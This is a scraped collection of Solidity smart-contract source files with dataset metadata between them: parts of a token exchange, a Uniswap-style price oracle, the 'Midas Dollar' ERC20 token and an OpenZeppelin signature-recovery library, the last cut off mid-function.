if (a1 < a2) return a1;
return a2;
}
return 0;
}
function availableVolume2(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller,
uint8 v, bytes32 r, bytes32 s) public view returns(uint _result)
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if ((orders[_seller][sellHash] || ecrecover(sellHash, v, r, s) == _seller)
&& block.number <= _expires)
{
uint a2 = tokenUserAmountOf[_tokenGive][_seller].mul(_amountGet);
a2 = a2 / _amountGive;
uint a1 = _amountGet.sub(orderFills[_seller][sellHash]);
if (a1 < a2) return a1;
return a2;
}
return 0;
}
function availableVolume3(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller,
bytes memory _sig) public view returns(uint _result)
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if ((orders[_seller][sellHash] || getAddress(sellHash, _sig) == _seller)
&& block.number <= _expires)
{
uint a2 = tokenUserAmountOf[_tokenGive][_seller].mul(_amountGet);
a2 = a2 / _amountGive;
uint a1 = _amountGet.sub(orderFills[_seller][sellHash]);
if (a1 < a2) return a1;
return a2;
}
return 0;
}
function amountFilled(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce, address _seller)
view external returns(uint)
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
return orderFills[_seller][sellHash];
}
function cancelOrder1(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce) external
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (orders[msg.sender][sellHash]){
orderFills[msg.sender][sellHash] = _amountGet;
emit OnCancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, msg.sender, getEventId());
}
emit OnCancel(_tokenGet, 0, _tokenGive, 0, _expires, _clientNonce, msg.sender, getEventId());
return;
}
function cancelOrder2(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce,
uint8 v, bytes32 r, bytes32 s) external
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (orders[msg.sender][sellHash]){
orderFills[msg.sender][sellHash] = _amountGet;
emit OnCancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, msg.sender, getEventId());
return;
}
else if (ecrecover(sellHash, v, r, s) == msg.sender){
orderFills[msg.sender][sellHash] = _amountGet;
emit OnCancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, msg.sender, getEventId());
return;
}
emit OnCancel(_tokenGet, 0, _tokenGive, 0, _expires, _clientNonce, msg.sender, getEventId());
return;
}
function cancelOrder3(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce,
bytes _sig) external
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (orders[msg.sender][sellHash]){
orderFills[msg.sender][sellHash] = _amountGet;
emit OnCancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, msg.sender, getEventId());
return;
}
else if (getAddress(sellHash, _sig) == msg.sender){
orderFills[msg.sender][sellHash] = _amountGet;
emit OnCancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, msg.sender, getEventId());
return;
}
emit OnCancel(_tokenGet, 0, _tokenGive, 0, _expires, _clientNonce, msg.sender, getEventId());
return;
}
function getAddress(bytes32 h, bytes memory sig) public pure returns (address _address)
{
bytes32 _r;
bytes32 _s;
uint8 _v;
if (sig.length == 65) {
assembly {
_r := mload(add(sig, 32))
_s := mload(add(sig, 64))
_v := and(mload(add(sig, 65)), 255)
}
if (_v < 27) {
_v += 27;
}
if (_v == 27 || _v == 28) {
_address = ecrecover(h, _v, _r, _s);
}
}
}
function() payable external {
if(msg.value > 0){
_deposit();
}
}
function testGetRSV(bytes32 h, bytes memory sig) public pure returns (address _address, bytes32 _r, bytes32 _s, uint8 _v)
{
if (sig.length == 65) {
assembly {
_r := mload(add(sig, 32))
_s := mload(add(sig, 64))
_v := and(mload(add(sig, 65)), 255)
}
if (_v < 27) {
_v += 27;
}
if (_v == 27 || _v == 28) {
_address = ecrecover(h, _v, _r, _s);
}
}
}
}
| 275,836 | 210 |
b90fe9b233ecd4e0f02efc183a1cebd2f0a2c6df43a97a6212e459fc23054871
| 23,339 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b5/B5d9b66BEb98114A5671091623Cf96F5A3B0a3EB_Oracle.sol
| 4,720 | 16,706 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 77,343 | 211 |
8726aa782b3db023c696a394be87eb3a75422d5cf2239d87599d2864a93b0094
| 28,526 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x35e869B7456462b81cdB5e6e42434bD27f3F788c/contract.sol
| 2,964 | 11,584 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract Dollar is ERC20Burnable, Operator {
uint256 public constant INITIAL_DISTRIBUTION = 100000 ether;
uint256 public constant AIRDROP_FUND = 9000 ether;
bool public rewardPoolDistributed = false;
constructor() public ERC20("Midas Dollar", "MDO") {
// Mints 1 Midas Dollar to contract creator for initial pool setup
_mint(msg.sender, 1 ether);
}
function mint(address recipient_, uint256 amount_) public onlyOperator returns (bool) {
uint256 balanceBefore = balanceOf(recipient_);
_mint(recipient_, amount_);
uint256 balanceAfter = balanceOf(recipient_);
return balanceAfter > balanceBefore;
}
function burn(uint256 amount) public override {
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public override onlyOperator {
super.burnFrom(account, amount);
}
function distributeReward(address _distributionPool) external onlyOperator {
require(!rewardPoolDistributed, "only can distribute once");
require(_distributionPool != address(0), "!_distributionPool");
rewardPoolDistributed = true;
_mint(_distributionPool, INITIAL_DISTRIBUTION.sub(AIRDROP_FUND));
_mint(msg.sender, AIRDROP_FUND);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyOperator {
_token.transfer(_to, _amount);
}
}
| 251,968 | 212 |
52734d6d6b1cf50647f344b8af64abe276d2c486fbfd8939e8c62ed44487af33
| 31,744 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/EIP712ExternalUpgradeable_flat.sol
| 3,683 | 14,546 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/ECDSA.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
